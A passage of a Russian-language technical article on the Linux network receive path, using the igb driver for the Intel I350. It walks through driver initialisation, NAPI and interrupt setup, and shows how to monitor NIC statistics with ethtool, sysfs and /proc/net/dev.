3.10. [Дополнительная информация](#13)
4. [Заключение](#14)
1. Общий совет по мониторингу и настройке сетевого стека в Linux
================================================================
Сетевой стек устроен сложно, и не существует универсального решения на все случаи жизни. Если для вас или вашего бизнеса критически важны производительность и корректность при работе с сетью, то вам придётся инвестировать немало времени, сил и средств в то, чтобы понять, как взаимодействуют друг с другом различные части системы.
В идеале, вам следует измерять потери пакетов на каждом уровне сетевого стека. В этом случае необходимо выбрать, какие компоненты нуждаются в настройке. Именно на этом моменте, как мне кажется, сдаются многие. Это предположение основано на том, что настройки sysctl или значения /proc можно использовать многократно и скопом. В ряде случаев, вероятно, система бывает настолько пронизана взаимосвязями и наполнена нюансами, что если вы пожелаете реализовать полезный мониторинг или выполнить настройку, то придётся разобраться с функционированием системы на низком уровне. В противном случае просто используйте настройки по умолчанию. Этого может быть достаточно до тех пор, пока не понадобится дальнейшая оптимизация (и вложения для отслеживания этих настроек).
Многие из приведённых в этой статье примеров настроек используются исключительно в качестве иллюстраций, и не являются рекомендацией «за» или «против» использования в качестве определённой конфигурации или настроек по умолчанию. Так что перед применением каждой настройки сначала подумайте, что вам нужно мониторить, чтобы выявить значимое изменение.
Опасно применять сетевые настройки, подключившись к машине удалённо. Можно легко заблокировать себе доступ или вообще уронить систему работы с сетью. Не применяйте настройки на рабочих машинах, сначала обкатайте их, по мере возможности, на новых, а затем применяйте в production.
2. Обзор проблематики
=====================
Вы можете захотеть иметь под рукой копию спецификации (data sheet) устройства. В этой статье будет рассмотрен контроллер Intel I350, управляемый драйвером igb. Скачать спецификацию можно [отсюда](http://www.intel.com/content/dam/www/public/us/en/documents/datasheets/ethernet-controller-i350-datasheet.pdf).
Высокоуровневый путь, по которому проходит пакет от прибытия до приёмного буфера сокета выглядит так:
1. Драйвер загружается и инициализируется.
2. Пакет прибывает из сети в сетевую карту.
3. Пакет копируется (посредством DMA) в кольцевой буфер памяти ядра.
4. Генерируется аппаратное прерывание, чтобы система узнала о появлении пакета в памяти.
5. Драйвер вызывает [NAPI](http://www.linuxfoundation.org/collaborate/workgroups/networking/napi), чтобы начать цикл опроса (poll loop), если он ещё не начат.
6. На каждом CPU системы работают процессы ksoftirqd. Они регистрируются во время загрузки. Эти процессы вытаскивают пакеты из кольцевого буфера с помощью вызова NAPI-функции poll, зарегистрированной драйвером устройства во время инициализации.
7. Очищаются (unmapped) те области памяти в кольцевом буфере, в которые были записаны сетевые данные.
8. Данные, отправленные напрямую в память (DMA), передаются для дальнейшей обработки на сетевой уровень в виде ‘skb’.
9. Если включено управление пакетами, или если в сетевой карте есть несколько очередей приёма, то фреймы входящих сетевых данных распределяются по нескольким CPU системы.
10. Фреймы сетевых данных передаются из очереди на уровни протоколов.
11. Уровни протоколов обрабатывают данные.
12. Данные добавляются в буферы приёма, прикреплённые к сокетам уровнями протоколов.
Далее мы подробно рассмотрим весь этот поток. В качестве уровне протоколов будут рассмотрены уровни IP и UDP. Большая часть информации верна и для других уровней протоколов.
3. Подробный разбор
===================
Мы будем рассматривать ядро Linux версии 3.13.0. Также по всей статье используются примеры кода и ссылки на GitHub.
Очень важно разобраться, как именно пакеты принимаются ядром. Нам придётся внимательно ознакомиться и понять работу сетевого драйвера, чтобы потом было легче вникнуть в описание работы сетевого стека.
В качестве сетевого драйвера будет рассмотрен igb. Он используется в довольно распространённой серверной сетевой карте, Intel I350. Так что давайте начнём с разбора работы этого драйвера.
3.1. Драйвер сетевого устройства
--------------------------------
#### Инициализация
Драйвер регистрирует функцию инициализации, вызванную ядром при загрузке драйвера. Регистрация выполняется с помощью макроса module\_init.
Вы можете найти функцию инициализации igb (igb\_init\_module) и её регистрацию с помощью module\_init в [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L676-L697). Всё довольно просто:
```
/**
* igb_init_module – подпрограмма (routine) регистрации драйвера
*
* igb_init_module — это первая подпрограмма, вызываемая при загрузке драйвера.
* Она выполняет регистрацию с помощью подсистемы PCI.
**/
static int __init igb_init_module(void)
{
int ret;
pr_info("%s - version %s\n", igb_driver_string, igb_driver_version);
pr_info("%s\n", igb_copyright);
/* ... */
ret = pci_register_driver(&igb_driver);
return ret;
}
module_init(igb_init_module);
```
Как мы увидим дальше, основная часть работы по инициализации устройства происходит при вызове pci\_register\_driver.
#### Инициализация PCI
Сетевая карта Intel I350 — это устройство с интерфейсом [PCI express](https://ru.wikipedia.org/wiki/PCI_Express).
PCI-устройства идентифицируют себя с помощью серии регистров в [конфигурационном пространстве PCI](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%84%D0%B8%D0%B3%D1%83%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%BE_PCI#.D0.A1.D1.82.D0.B0.D0.BD.D0.B4.D0.B0.D1.80.D1.82.D0.B8.D0.B7.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D1.80.D0.B5.D0.B3.D0.B8.D1.81.D1.82.D1.80.D1.8B).
Когда драйвер устройства скомпилирован, то для экспорта таблицы идентификаторов PCI-устройств, которыми может управлять драйвер, используется макрос MODULE\_DEVICE\_TABLE (из [include/module.h](https://github.com/torvalds/linux/blob/v3.13/include/linux/module.h#L145-L146)). Ниже мы увидим, что таблица также регистрируется как часть структуры.
Эта таблица используется ядром для определения, какой нужно загрузить драйвер для управления устройством. Таким образом операционная система понимает, какое устройство подключено и какой драйвер позволяет с ним взаимодействовать.
Вы можете найти таблицу и идентификаторы PCI-устройств для драйвера igb, соответственно, здесь [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L79-L117) и здесь [drivers/net/ethernet/intel/igb/e1000\_hw.h](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/e1000_hw.h#L41-L75):
```
static DEFINE_PCI_DEVICE_TABLE(igb_pci_tbl) = {
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I354_BACKPLANE_1GBPS) },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I354_SGMII) },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I354_BACKPLANE_2_5GBPS) },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I211_COPPER), board_82575 },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I210_COPPER), board_82575 },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I210_FIBER), board_82575 },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I210_SERDES), board_82575 },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I210_SGMII), board_82575 },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I210_COPPER_FLASHLESS), board_82575 },
{ PCI_VDEVICE(INTEL, E1000_DEV_ID_I210_SERDES_FLASHLESS), board_82575 },
/* ... */
};
MODULE_DEVICE_TABLE(pci, igb_pci_tbl);
```
Как мы видели выше, pci\_register\_driver вызывается драйверной функцией инициализации.
Эта функция регистрирует структуру указателей. Большинство из них являются указателями функций, но таблица идентификаторов PC-устройства тоже регистрируется. Ядро использует регистрируемые драйвером функции для запуска PCI-устройства.
Из [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L238-L249):
```
static struct pci_driver igb_driver = {
.name = igb_driver_name,
.id_table = igb_pci_tbl,
.probe = igb_probe,
.remove = igb_remove,
/* ... */
};
```
#### Probe-функция PCI
Когда устройство опознано по его PCI ID, ядро может выбрать подходящий драйвер. Каждый драйвер регистрирует probe-функцию в PCI-системе ядра. Ядро вызывает эту функцию для тех устройств, на которые ещё не претендовали драйверы. Когда один из драйверов претендует на устройство, то другие уже не опрашиваются. Большинство драйверов содержат много кода, которые выполняется для подготовки устройства к использованию. Выполняемые процедуры сильно варьируются в зависимости от драйвера.
Вот некоторые типичные процедуры:
1. Включение PCI-устройства.
2. Запрашивание областей памяти и [портов ввода-вывода](http://wiki.osdev.org/I/O_Ports).
3. Настройка маски [DMA](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D1%8F%D0%BC%D0%BE%D0%B9_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF_%D0%BA_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D0%B8).
4. Регистрируются поддерживаемые драйвером функции ethtool (будут описаны ниже).
5. Выполняются сторожевые таймеры (например, у e1000e есть таймер, проверяющий, не зависло ли железо).
6. Другие процедуры, характерные для данного устройства. Например, обход или разрешение аппаратных выкрутасов, и тому подобное.
7. Создание, инициализация и регистрация структуры struct net\_device\_ops. Она содержит указатели на разные функции, нужные для открытия устройства, отправки данных в сеть, настройки MAC-адреса и так далее.
8. Создание, инициализация и регистрация высокоуровневой структуры struct net\_device, представляющей сетевое устройство.
Давайте пробежимся по некоторым из этих процедур применительно к драйверу igb и функции [igb\_probe](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L2005-L2429).
#### Беглый взгляд на инициализацию PCI
Приведённый ниже код из функции igb\_probe выполняет базовое конфигурирование PCI. Взято из [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L2038-L2059):
```
err = pci_enable_device_mem(pdev);
/* ... */
err = dma_set_mask_and_coherent(&pdev->dev, DMA_BIT_MASK(64));
/* ... */
err = pci_request_selected_regions(pdev, pci_select_bars(pdev,
IORESOURCE_MEM),
igb_driver_name);
pci_enable_pcie_error_reporting(pdev);
pci_set_master(pdev);
pci_save_state(pdev);
```
Сначала устройство инициализируется с помощью pci\_enable\_device\_mem. Если устройство находится в спящем режиме, то оно пробуждается, активируются источники памяти и так далее.
Затем настраивается маска DMA. Наше устройство может читать и писать в адреса 64-битной памяти, поэтому с помощью DMA\_BIT\_MASK(64) вызывается dma\_set\_mask\_and\_coherent.
С помощью вызова pci\_request\_selected\_regions резервируются области памяти. Запускается служба расширенной регистрации ошибок ([PCI Express Advanced Error Reporting](https://github.com/torvalds/linux/blob/v3.13/Documentation/PCI/pcieaer-howto.txt)), если загружен её драйвер. С помощью вызова pci\_set\_master активируется DMA, а конфигурационное пространство PCI сохраняется с помощью вызова pci\_save\_state.
Фух.
#### Дополнительная информация о драйвере PCI для Linux
Полный разбор работы PCI-устройства выходит за рамки этой статьи, но вы можете почитать эти материалы:
* [free-electrons.com/doc/pci-drivers.pdf](http://free-electrons.com/doc/pci-drivers.pdf)
* [wiki.osdev.org/PCI](http://wiki.osdev.org/PCI)
* [github.com/torvalds/linux/blob/v3.13/Documentation/PCI/pci.txt](https://github.com/torvalds/linux/blob/v3.13/Documentation/PCI/pci.txt)
#### Инициализация сетевого устройства
Функция igb\_probe выполняет важную работу по инициализации сетевого устройства. В дополнение к процедурам, характерным для PCI, она выполняет и более общие операции для работы с сетью и функционирования сетевого устройства:
1. Регистрирует struct net\_device\_ops.
2. Регистрирует операции ethtool.
3. Получает от сетевой карты MAC-адрес по умолчанию.
4. Настраивает флаги свойств net\_device.
5. И делает многое другое.
Всё это нам понадобится позднее, так что давайте кратко пробежимся.
#### struct net\_device\_ops
struct net\_device\_ops содержит указатели функций на многие важные операции, необходимые сетевой подсистеме для управления устройством. Эту структуру мы ещё не раз упомянем в статье.
Структура net\_device\_ops прикреплена к struct net\_device в igb\_probe. Взято из [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L2090):
```
static int igb_probe(struct pci_dev *pdev, const struct pci_device_id *ent)
{
/* ... */
netdev->netdev_ops = &igb_netdev_ops;
```
В том же файле настраиваются указатели функций, хранящиеся в структуре net\_device\_ops. Взято из [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L1905-L1913):
```
static const struct net_device_ops igb_netdev_ops = {
.ndo_open = igb_open,
.ndo_stop = igb_close,
.ndo_start_xmit = igb_xmit_frame,
.ndo_get_stats64 = igb_get_stats64,
.ndo_set_rx_mode = igb_set_rx_mode,
.ndo_set_mac_address = igb_set_mac,
.ndo_change_mtu = igb_change_mtu,
.ndo_do_ioctl = igb_ioctl,
/* ... */
```
Как видите, в struct есть несколько интересных полей, например, ndo\_open, ndo\_stop, ndo\_start\_xmit и ndo\_get\_stats64, которые содержат адреса функций, реализованных драйвером igb. Некоторые из них мы далее рассмотрим подробнее.
#### Регистрация ethtool
[ethtool](https://www.kernel.org/pub/software/network/ethtool/) — это программа, управляемая из командной строки. С её помощью вы можете получать и настраивать различные драйверы и опции оборудования. Под Ubuntu эту программу можно установить так: apt-get install ethtool.
Обычно ethtool применяется для сбора с сетевых устройств детальной статистики. Другие способы применения будут описаны ниже.
Программа общается с драйверами с помощью системного вызова [ioctl](http://man7.org/linux/man-pages/man2/ioctl.2.html). Драйвер устройства регистрирует серию функций, выполняемых для операций ethtool, а ядро обеспечивает glue.
Когда ethtool вызывает ioctl, ядро находит структуру ethtool, зарегистрированную соответствующим драйвером, и выполняет зарегистрированные функции. Реализация функции драйвера ethtool может делать все что угодно — от изменения простого программного флага в драйвере до управления тем, как физическое оборудование NIC работает через записи значения регистров в устройство.
Драйвер igb с помощью вызова igb\_set\_ethtool\_ops регистрирует в igb\_probe операции ethtool:
```
static int igb_probe(struct pci_dev *pdev, const struct pci_device_id *ent)
{
/* ... */
igb_set_ethtool_ops(netdev);
```
Весь ethtool-код драйвера igb вместе с функцией igb\_set\_ethtool\_ops можно найти в файле [drivers/net/ethernet/intel/igb/igb\_ethtool.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_ethtool.c).
Взято из [drivers/net/ethernet/intel/igb/igb\_ethtool.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_ethtool.c#L3012-L3015):
```
void igb_set_ethtool_ops(struct net_device *netdev)
{
SET_ETHTOOL_OPS(netdev, &igb_ethtool_ops);
}
```
Помимо этого, вы можете найти структуру igb\_ethtool\_ops с поддерживаемыми драйвером igb функциями ethtool, настроенными в соответствующих полях.
Взято из [drivers/net/ethernet/intel/igb/igb\_ethtool.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_ethtool.c#L2970-L2979):
```
static const struct ethtool_ops igb_ethtool_ops = {
.get_settings = igb_get_settings,
.set_settings = igb_set_settings,
.get_drvinfo = igb_get_drvinfo,
.get_regs_len = igb_get_regs_len,
.get_regs = igb_get_regs,
/* ... */
```
Каждый драйвер по своему усмотрению решает, какие функции ethtool релевантные и какие нужно реализовать. К сожалению, не все драйверы реализуют все функции ethtool.
Довольна интересна функция get\_ethtool\_stats, которая (если она реализована) создаёт подробные статистические счётчики, которые отслеживаются либо программно драйвером, либо самим устройством.
В посвящённой мониторингу части мы рассмотрим, как использовать ethtool для получения этой статистики.
#### IRQ
Когда фрейм данных с помощью DMA записывается в память, как сетевая карта сообщает системе о том, что данные готовы к обработке?
Обычно карта генерирует [прерывание](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D1%80%D1%8B%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5), сигнализирующее о прибытии данных. Есть три распространённых типа прерываний: MSI-X, MSI и легаси-IRQ. Вскоре мы их рассмотрим. Генерируемое при записи данных в память прерывание достаточно простое, но если приходит много фреймов, то генерируется и большое количество IRQ. Чем больше прерываний, тем меньше времени работы CPU доступно для обслуживания более высокоуровневых задач, например, пользовательских процессов.
[New Api (NAPI)](http://www.linuxfoundation.org/collaborate/workgroups/networking/napi) был создан в качестве механизма снижения количества прерываний, генерируемых сетевыми устройствами по мере прибытия пакетов. Но всё же NAPI не может совсем избавить нас от прерываний. Позднее мы узнаем, почему.
#### NAPI
По ряду важных признаков [NAPI](http://www.linuxfoundation.org/collaborate/workgroups/networking/napi) отличается от легаси-метода сбора данных. Он позволяет драйверу устройства регистрировать функцию poll, вызываемую подсистемой NAPI для сбора фрейма данных.
Алгоритм использования NAPI драйверами сетевых устройств выглядит так:
1. Драйвер включает NAPI, но изначально тот находится в неактивном состоянии.
2. Прибывает пакет, и сетевая карта напрямую отправляет его в память.
3. Сетевая карта генерирует IRQ посредством запуска обработчика прерываний в драйвере.
4. Драйвер будит подсистему NAPI с помощью SoftIRQ (подробнее об этом — ниже). Та начинает собирать пакеты, вызывая в отдельном треде исполнения (thread of execution) зарегистрированную драйвером функцию poll.
5. Драйвер должен отключить последующие генерирования прерываний сетевой картой. Это нужно для того, чтобы позволить подсистеме NAPI обрабатывать пакеты без помех со стороны устройства.
6. Когда вся работа выполнена, подсистема NAPI отключается, а генерирование прерываний устройством включается снова.
7. Цикл повторяется, начиная с пункта 2.
Этот метод сбора фреймов данных позволил уменьшить нагрузку по сравнению с легаси-методом, поскольку многие фреймы могут одновременно приниматься без необходимости одновременного генерирования IRQ для каждого из них.
Драйвер устройства реализует функцию poll и регистрирует её с помощью NAPI, вызывая netif\_napi\_add. При этом драйвер также задаёт weight. Большинство драйверов хардкодят значение 64. Почему именно его, мы увидим дальше.
Обычно драйверы регистрируют свои NAPI-функции poll в процессе инициализации драйвера.
#### Инициализация NAPI в драйвере igb
Драйвер igb делает это с помощью длинной цепочки вызовов:
1. igb\_probe вызывает igb\_sw\_init.
2. igb\_sw\_init вызывает igb\_init\_interrupt\_scheme.
3. igb\_init\_interrupt\_scheme вызывает igb\_alloc\_q\_vectors.
4. igb\_alloc\_q\_vectors вызывает igb\_alloc\_q\_vector.
5. igb\_alloc\_q\_vector вызывает netif\_napi\_add.
В результате выполняется ряд высокоуровневых операций:
1. Если поддерживается [MSI-X](https://ru.wikipedia.org/wiki/Message_Signaled_Interrupts#MSI-X), то она включается с помощью вызова pci\_enable\_msix.
2. Высчитываются и инициализируются различные настройки; например, количество очередей передачи и приёма, которые будут использоваться устройством и драйвером для отправки и получения пакетов.
3. igb\_alloc\_q\_vector вызывается однократно для каждой создаваемой очереди передачи и приёма.
4. При каждом вызове igb\_alloc\_q\_vector также вызывается netif\_napi\_add для регистрации функции poll для конкретной очереди. Когда функция poll будет вызвана для сбора пакетов, ей будет передан экземпляр struct napi\_struct.
Давайте взглянем на igb\_alloc\_q\_vector чтобы понять, как регистрируется callback poll и её личные данные (private data).
Взято из [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L1145-L1271):
```
static int igb_alloc_q_vector(struct igb_adapter *adapter,
int v_count, int v_idx,
int txr_count, int txr_idx,
int rxr_count, int rxr_idx)
{
/* ... */
/* размещает в памяти q_vector и кольца (rings) */
q_vector = kzalloc(size, GFP_KERNEL);
if (!q_vector)
return -ENOMEM;
/* инициализирует NAPI */
netif_napi_add(adapter->netdev, &q_vector->napi, igb_poll, 64);
/* ... */
```
Выше приведён код размещения в памяти очереди приёма и регистрации функции igb\_poll с помощью подсистемы NAPI. Мы получаем ссылку на struct napi\_struct, ассоциированную с этой новой созданной очередью приёма (&q\_vector->napi). Когда придёт время сбора пакетов из очереди и подсистемой NAPI будет вызвана igb\_poll, ей передадут эту ссылку.
Важность описанного алгоритма мы поймём, когда изучим поток данных из драйвера в сетевой стек.
#### Загрузка (bring up) сетевого устройства
Помните структуру net\_device\_ops, которая регистрировала набор функций для загрузки сетевого устройства, передачи пакетов, настройки MAC-адреса и так далее?
Когда сетевое устройство загружено (например, с помощью ifconfig eth0 up), вызывается функция, прикреплённая к полю ndo\_open структуры net\_device\_ops.
Функция ndo\_open обычно делает следующее:
1. Выделяет память для очередей приёма и передачи.
2. Включает NAPI.
3. Регистрирует обработчика прерываний.
4. Включает аппаратные прерывания.
5. И многое другое.
В случае с драйвером igb, igb\_open вызывает функцию, прикреплённая к полю ndo\_open структуры net\_device\_ops.
#### Подготовка к получению данных из сети
Большинство современных сетевых карт используют DMA для записи данных напрямую в память, откуда операционная система может их извлечь для последующей обработки. Чаще всего используемая для этого структура похожа на очередь, созданную на базе кольцевого буфера.
Сначала драйвер устройства должен совместно с ОС зарезервировать в памяти область, которая будет использоваться сетевой картой. Далее карта информируется о выделении памяти, куда позднее будут записываться входящие данные, которые можно брать и обрабатывать с помощью сетевой подсистемы.
Выглядит просто, но что если частота пакетов так высока, что один CPU не успевает их обрабатывать? Структура данных базируется на области памяти фиксированного размера, поэтому пакеты будут отбрасываться.
В этом случае может помочь механизм [Receive Side Scaling (RSS)](https://en.wikipedia.org/wiki/Network_interface_controller#RSS), система с несколькими очередями.
Некоторые устройства могут одновременно писать входящие пакеты в несколько разных областей памяти. Каждая область обслуживает отдельную очередь. Это позволяет ОС использовать несколько CPU для параллельной обработки входящих данных на аппаратном уровне. Но такое умеют делать не все сетевые карты.
Intel I350 — умеет. Свидетельства этого умения мы видим в драйвере igb. Одной из первых вещей, выполняемых им после загрузки, является вызов функции [igb\_setup\_all\_rx\_resources](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L2801-L2804). Эта функция вызывает однократно для каждой очереди приёма другую функцию — igb\_setup\_rx\_resources, упорядочивающая DMA-память, в которую сетевая карта будет писать входящие данные.
Если вас интересуют подробности, почитайте [github.com/torvalds/linux/blob/v3.13/Documentation/DMA-API-HOWTO.txt](https://github.com/torvalds/linux/blob/v3.13/Documentation/DMA-API-HOWTO.txt).
С помощью ethtool можно настраивать количество и размер очередей приёма. Изменение этих параметров позволяет существенно повлиять на отношение обработанных и отброшенных фреймов.
Чтобы определить, в какую очередь нужно отправить данные, сетевая карта использует хэш-функцию в полях заголовка (источник, пункт назначения, порт и так далее).
Некоторые сетевые карты позволяют настраивать вес очередей приёма, так что вы можете направлять больше трафика в конкретные очереди.
Реже встречается возможность настройки самой хэш-функции. Если вы можете её настраивать, то можете направлять конкретный поток в конкретную очередь, или даже отбрасывать пакеты на аппаратном уровне.
Ниже мы рассмотрим, как настраивается хэш-функция.
#### Включение NAPI
Когда сетевое устройство загружено, драйвер обычно включает NAPI. Мы уже видели, как драйверы с помощью NAPI регистрируют функции poll. Обычно NAPI не включается, пока устройство не загружено.
Включить его довольно просто. Вызов napi\_enable сигнализирует struct napi\_struct, что NAPI включена. Как отмечалось выше, после включения NAPI находится в неактивном состоянии.
В случае с драйвером igb, NAPI включается для каждого q\_vector, инициализируемого после загрузки драйвера, или когда счётчик или размер очереди изменяется с помощью ethtool.
Взято из [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L2833-L2834):
```
for (i = 0; i < adapter->num_q_vectors; i++)
napi_enable(&(adapter->q_vector[i]->napi));
```
#### Регистрация обработчика прерываний
После включения NAPI нужно зарегистрировать обработчика прерываний. Устройство может генерировать прерывания разными способами: MSI-X, MSI и легаси-прерывания. Поэтому код может быть различным, в зависимости от поддерживаемых способов.
Драйвер должен определить, какой способ поддерживается данным устройством, и зарегистрировать соответствующую функцию-обработчика, которая выполняется при получении прерывания.
Некоторые драйверы, в том числе и igb, пытаются зарегистрировать обработчика для каждого способа, в случае неудачи переходя к следующему неопробованному.
Предпочтительнее использовать прерывания MSI-X, особенно для сетевых карт, поддерживающих несколько очередей приёма. Причина в том, что каждой очереди присвоено собственное аппаратное прерывание, которая может быть обработано конкретным CPU (с помощью irqbalance или модифицирования /proc/irq/IRQ\_NUMBER/smp\_affinity). Как мы скоро увидим, прерывание и пакет обрабатывает один и тот же CPU. Таким образом, входящие пакеты будут обрабатываться разными CPU в рамках всего сетевого стека, начиная с уровня аппаратных прерываний.
Если MSI-X недоступна, то драйвер использует MSI (если поддерживается), которая всё ещё имеет преимущества по сравнению с легаси-прерываниями. Подробнее об этом читайте в английской [Википедии](https://en.wikipedia.org/wiki/Message_Signaled_Interrupts).
В драйвере igb в качестве обработчиков прерываний MSI-X, MSI и легаси выступают соответственно функции igb\_msix\_ring, igb\_intr\_msi, igb\_intr.
Код драйвера, пробующий каждый способ, можно найти в [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L1360-L1413):
```
static int igb_request_irq(struct igb_adapter *adapter)
{
struct net_device *netdev = adapter->netdev;
struct pci_dev *pdev = adapter->pdev;
int err = 0;
if (adapter->msix_entries) {
err = igb_request_msix(adapter);
if (!err)
goto request_done;
/* переход к MSI */
/* ... */
}
/* ... */
if (adapter->flags & IGB_FLAG_HAS_MSI) {
err = request_irq(pdev->irq, igb_intr_msi, 0,
netdev->name, adapter);
if (!err)
goto request_done;
/* переход к легаси */
/* ... */
}
err = request_irq(pdev->irq, igb_intr, IRQF_SHARED,
netdev->name, adapter);
if (err)
dev_err(&pdev->dev, "Error %d getting interrupt\n", err);
request_done:
return err;
}
```
Как видите, драйвер сначала пытается использовать обработчика igb\_request\_msix для прерываний MSI-X, если не получается, то переходит к MSI. Для регистрации MSI-обработчика igb\_intr\_msi используется request\_irq. Если и это не срабатывает, драйвер переходит к легаси-прерываниям. Для регистрации igb\_intr снова используется request\_irq.
Таким образом драйвер igb регистрирует функцию, которая будет выполняться при генерировании сетевой картой прерывания, сигнализирующего о получении данных и их готовности к обработке.
#### Включение прерываний
К данному моменту почти всё уже настроено. Осталось только включить прерывания и ожидать прихода данных. Процедура включения зависит от конкретного оборудования, то драйвер igb делает это в \_\_igb\_open, с помощью вызова вспомогательной функции igb\_irq\_enable.
С помощью записи регистров включаются прерывания для данного устройства:
```
static void igb_irq_enable(struct igb_adapter *adapter)
{
/* ... */
wr32(E1000_IMS, IMS_ENABLE_MASK | E1000_IMS_DRSTA);
wr32(E1000_IAM, IMS_ENABLE_MASK | E1000_IMS_DRSTA);
/* ... */
}
```
Теперь сетевое устройство загружено. Драйверы могут выполнять и другие процедуры, например, запускать таймеры, рабочие очереди или другие операции, в зависимости от конкретного устройства. По их завершении сетевая карта загружена и готова к использованию.
Давайте теперь рассмотрим вопросы мониторинга и настройки опций драйверов сетевых устройств.
#### Мониторинг сетевых устройств
Есть несколько разных способов мониторинга, отличающихся подробностью статистики и сложностью. Начнём с самого детального.
#### Использование ethtool -S
Установить ethtool под Ubuntu можно так: sudo apt-get install ethtool.
Теперь можно просмотреть статистику, передав флаг -S с именем сетевого устройства, чья статистка вас интересует.
Мониторьте подробную статистику (например, отбрасывание пакетов) с помощью `ethtool -S`.
```
$ sudo ethtool -S eth0
NIC statistics:
rx_packets: 597028087
tx_packets: 5924278060
rx_bytes: 112643393747
tx_bytes: 990080156714
rx_broadcast: 96
tx_broadcast: 116
rx_multicast: 20294528
....
```
Мониторинг может быть трудной задачей. Данные легко получить, но не существует стандартного представления значений полей. Разные драйверы, даже разные версии **одного** драйвера могут генерировать разные имена полей, имеющие одинаковое значение.
Ищите значения, в названиях которых есть “drop”, “buffer”, “miss” и так далее. Дальше нужно считать данные из источника. Вы сможете определить, какие значения относятся только к ПО (например, инкрементируются при отсутствии памяти), а какие поступают напрямую из оборудования посредством чтения регистров. В случае со значениями регистров, сверьтесь со спецификацией сетевой карты чтобы узнать, что означают конкретные счётчики. Многие названия, присваиваемые ethtool, могут быть ошибочны.
#### Использование sysfs
sysfs тоже предоставляют много статистики, но она чуть более высокоуровневая чем та, что предоставляется напрямую сетевой картой.
Вы сможете узнать количество отброшенных входящих фреймов для, например, eth0, применив cat к файлу.
Мониторинг более высокоуровневой статистки сетевой карты с помощью sysfs:
```
$ cat /sys/class/net/eth0/statistics/rx_dropped
2
```
Значения счётчиков будут раскиданы по файлам: collisions, rx\_dropped, rx\_errors, rx\_missed\_errors и так далее.
К сожалению, это драйвер решает, что означают те или иные поля, какие из них нужно инкрементировать и откуда брать значения. Вы могли заметить, что одни драйверы расценивают определённый тип ошибочной ситуации как отбрасывание пакета, а другие — как отсутствие.
Если для вас важны эти значения, то изучите исходный код драйвера, чтобы точно выяснить, что он думает про каждое из значений.
#### Использование /proc/net/dev
Ещё более высокоуровневый файл /proc/net/dev, предоставляющий выжимку по каждому сетевому адаптеру в системе.
Читаем /proc/net/dev, чтобы мониторить высокоуровневую статистику сетевых карт:
```
$ cat /proc/net/dev
Inter-| Receive | Transmit
face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed
eth0: 110346752214 597737500 0 2 0 0 0 20963860 990024805984 6066582604 0 0 0 0 0 0
lo: 428349463836 1579868535 0 0 0 0 0 0 428349463836 1579868535 0 0 0 0 0 0
```
Этот файл содержит набор некоторых значений, которые вы можете найти в упомянутых файлах файлах sysfs. Его можно использоваться как общий источник информации.
Как и в предыдущем случае, если эти значения важны для вас, то обратитесь к исходникам драйвера. Только в этом случае вы сможете точно выяснить, когда, где и почему инкрементируются эти значения, то есть что здесь считается ошибкой, отбрасыванием или FIFO.
#### Настройка сетевых устройств
#### Проверка количества используемых очередей приёма
Если загруженные в вашей системе сетевая карта и драйвер устройства поддерживают RSS (множественные очереди), то обычно с помощью ethtool можно настраивать количество очередей приёма (каналов приёма, RX-channels).
Проверка количества очередей приёма сетевой карты:
```
$ sudo ethtool -l eth0
Channel parameters for eth0:
Pre-set maximums:
RX: 0
TX: 0
Other: 0
Combined: 8
Current hardware settings:
RX: 0
TX: 0
Other: 0
Combined: 4
```
Выходные данные отражают предварительно настроенные максимумы (налагаемые драйвером или оборудованием) и текущие настройки.
**Примечание:** не все драйверы устройств поддерживают эту операцию.
